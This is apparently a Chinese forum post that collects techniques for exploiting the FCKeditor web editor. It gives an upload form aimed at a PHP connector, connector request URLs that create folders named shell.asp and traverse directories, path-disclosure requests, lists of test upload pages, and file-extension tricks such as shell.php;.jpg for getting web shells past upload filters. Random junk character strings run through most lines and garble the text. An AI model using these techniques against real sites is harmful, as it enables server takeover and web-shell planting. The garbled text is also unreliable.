Fckeditor漏洞利用总结 , @4 J O8 t! D! U
查看编辑器版本
) a4 v7 Z; {/ W8 KFCKeditor/_whatsnew.html
1 L. A2 R6 W& ^, w% Q0 R—————————————————————————————————————————————————————————————
3 a s4 Q, G# h; Y' |# O; t% L6 y! L9 S* K; Z" F- n
2. Version 2.2 版本
5 M) Y# I5 a# m# e: E# dApache+linux 环境下在上传文件后面加个.突破!测试通过。
# W3 X7 `7 ]9 u7 `) i* p1 y—————————————————————————————————————————————————————————————
7 R3 o$ \- ? p2 K% l- T
2 D z {1 g8 U' Z3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
4 s* A- ]+ W' ~, L. t2 {% Z' u9 S<form id="frmUpload" enctype="multipart/form-data"
) u: P1 T: R; Caction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
Q" q$ j; z3 ?$ I; e% Z; r$ q<input type="file" name="NewFile" size="50"><br>* p; ~% A. \8 `" O0 G) w
<input id="btnUpload" type="submit" value="Upload">
; y" d4 n1 Q4 O" A+ q/ ~* w) z</form>
0 L) M7 E9 Y+ U6 b, C: X# e—————————————————————————————————————————————————————————————9 Z/ ^% H$ Y* A3 d! ?3 r
9 G% r/ v1 x& J: J1 ?4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
3 }( n( x2 Z' C' A5 A. p. x 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
* S3 `$ t# A3 j- n6 v 4.1:提交shell.php+空格绕过" W2 V" E2 O U' j* Y8 T
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。8 L4 m% o7 V( b- K- A% \
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。9 h& w) V, v$ Z+ t
—————————————————————————————————————————————————————————————2 K: R- l/ W# B
3 i' ~ m3 x+ j* |9 \# M" C2 E8 d* n
5. 突破建立文件夹
: c3 b O7 i' m; f! q0 O4 mFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=12447899756845 Q% n1 y! u ` g6 t, B3 o8 j1 G
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp k& ]$ O8 W8 ~9 z, |
—————————————————————————————————————————————————————————————0 g5 B! Z! \% x+ o
1 q/ A& z" m8 N- D* I# a/ {6. FCKeditor 中test 文件的上传地址
0 V8 E0 J0 d6 o9 ?# J" M) NFCKeditor/editor/filemanager/browser/default/connectors/test.html2 J( x: B& `: O& O
FCKeditor/editor/filemanager/upload/test.html
/ U" L2 h) X0 uFCKeditor/editor/filemanager/connectors/test.html- h8 Z" {$ z' p- J4 ^ w# ]
FCKeditor/editor/filemanager/connectors/uploadtest.html
" o( |* M S( x. }; K% }—————————————————————————————————————————————————————————————
( H9 `5 C* V! @$ y* F4 W0 x9 _9 i8 f' [
7.常用上传地址
, s1 r* i4 R( m" _FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
. V% b; v V) t0 ?FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp% f- s! B! s" }! M: h
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
' E) S# {% D# l; ~JSP 版:4 G+ m2 C) ~, ?
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp0 g* _- @8 z* X1 w% |' ?( o0 ]1 r9 u& q
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
3 D' ]4 Z* b$ L1 ^件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。& {; X6 a! f& z* Y$ J0 `
—————————————————————————————————————————————————————————————
$ Y+ i& }5 k) R
9 }2 S' L) Q5 m8 W$ K2 E8.其他上传地址7 N& k" ]4 N- a8 B6 ]2 S1 [
FCKeditor/_samples/default.html" V/ c8 q9 U& J8 y
FCKeditor/_samples/asp/sample01.asp- d* V8 ]- X( ^% D: i
FCKeditor/_samples/asp/sample02.asp
* Q- Z$ F4 O) r0 ]* Z. A |5 sFCKeditor/_samples/asp/sample03.asp
4 h! f! q6 P, j, X {+ aFCKeditor/_samples/asp/sample04.asp2 ?/ `- H, H8 I; [& W2 O& @2 o: D
一般很多站点都已删除_samples 目录,可以试试。
9 j0 \, V; c7 z' KFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。5 s1 @8 d q; [/ u
—————————————————————————————————————————————————————————————
- H! J! ~9 p6 |6 u+ \: f: `
/ X& d$ R+ l: X! ]5 z% k" D9.列目录漏洞也可助找上传地址* ?% V. C! `% {9 {! O n
Version 2.4.1 测试通过6 H7 i/ |( J5 D7 f
修改CurrentFolder 参数使用 ../../来进入不同的目录
S& n# v6 U3 K" q+ s$ e/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
' J; U! T3 U3 G9 J/ x. L9 O根据返回的XML 信息可以查看网站所有的目录。& B* W# |! J5 _! M/ T5 z
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F, W1 \1 o8 H8 {7 p$ Y' y
也可以直接浏览盘符:
6 }4 ^: z1 K6 Z4 Y. Q9 v% z. hJSP 版本:% o) x- q6 }; `1 P
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
! G. ~4 ]# K+ T$ R x& ^. ~+ d. S—————————————————————————————————————————————————————————————
9 w- ~! s- I7 K, V1 N: F1 z
- s; b. n; ?& k$ A; J2 K' ~10.爆路径漏洞
6 R- V% |' N$ b0 Q/ u! JFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
7 d5 o3 [5 P) F—————————————————————————————————————————————————————————————2 ~! L9 d( b. T: g* ?- |5 L* \
6 ~& E' W+ K4 x% s$ Y# X+ _11. FCKeditor 被动限制策略所导致的过滤不严问题
; W( I% { s$ w, l m 影响版本: FCKeditor x.x <= FCKeditor v2.4.37 K s' t9 f2 w" o `# K
脆弱描述: b* j% t3 G- m6 v
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:5 j+ p4 \5 p8 y8 w
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm2 l) C9 H! P9 p: m+ q4 ?
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
V2 Z E" N# u 而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
" U, R! N, N- t) f3 t" W8 K9 G/ q 在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!: J3 e, c6 F7 |
—————————————————————————————————————————————————————————————
8 X9 ]+ h u4 ]! C7 p/ Z5 Y* M4 ^
12.最古老的漏洞,Type文件没有限制!" Q1 s( }1 Z& [! ~7 v
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! 7 ~# m T" s) E% O
—————————————————————————————————————————————————————————————
9 X. W/ p7 E- N5 f# Z8 e: Q5 o+ \
- a! C2 _& }, a===============================================================================================================================================
! R6 [) q+ x) w% B# V( R7 W
$ Z! s) d) a0 N3 j+ V) d/ d* L' cFCK编辑器jsp版本漏洞:6 {& M- h2 f" W7 z! b2 e }9 u0 |
/ c/ A9 u4 F( k' D6 ?
7 d* V: A( E! \. m% G2 P% Khttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
0 u/ r3 v. S3 u+ `
% ]1 Q2 H+ o/ t" |1 r1 E, g上传马所在目录# f. G) q, @: m3 K% w
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/7 i5 F$ X+ e3 H. z) y1 }+ _3 g; ~3 s
上传shell的地址:
) [' z6 K% E7 S) B) w9 [http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector! v% g$ e' |# Y8 R0 E
跟版本有关系.并不是百分百成功. 测试成功几个站.
' n* o; K# [/ }不能通杀.很遗憾.5 A5 a; L& B6 o, S0 w5 Z5 y7 _
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
* ~+ ]: E1 _6 s" z8 y) a9 c如果以上地址不行可以试试 x0 }+ U% H+ S6 @( P) [& v: g/ u; N7 a
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector, `- ^/ G! O! ?9 B8 \" g8 D" a
FCKeditor/_samples/1 {4 i3 _8 u# z" o1 y9 R
FCKeditor/_samples/default.html# ]) P( \ h+ h& ?* s
FCKeditor/editor/fckeditor.htm
4 m+ l: w% a/ S# `0 ]/ HFCKeditor/editor/fckdialog.html; C I' L; S+ Q8 c9 h5 t
( c- }/ v; I2 K2 T: U4 H8 e! G' ~8 B2 g6 ~ T
& d7 E8 d, t9 c! V解析漏洞+未重命名文件时上传漏洞 1.asp;jpg1 P2 V& K' ?* w: V6 p
|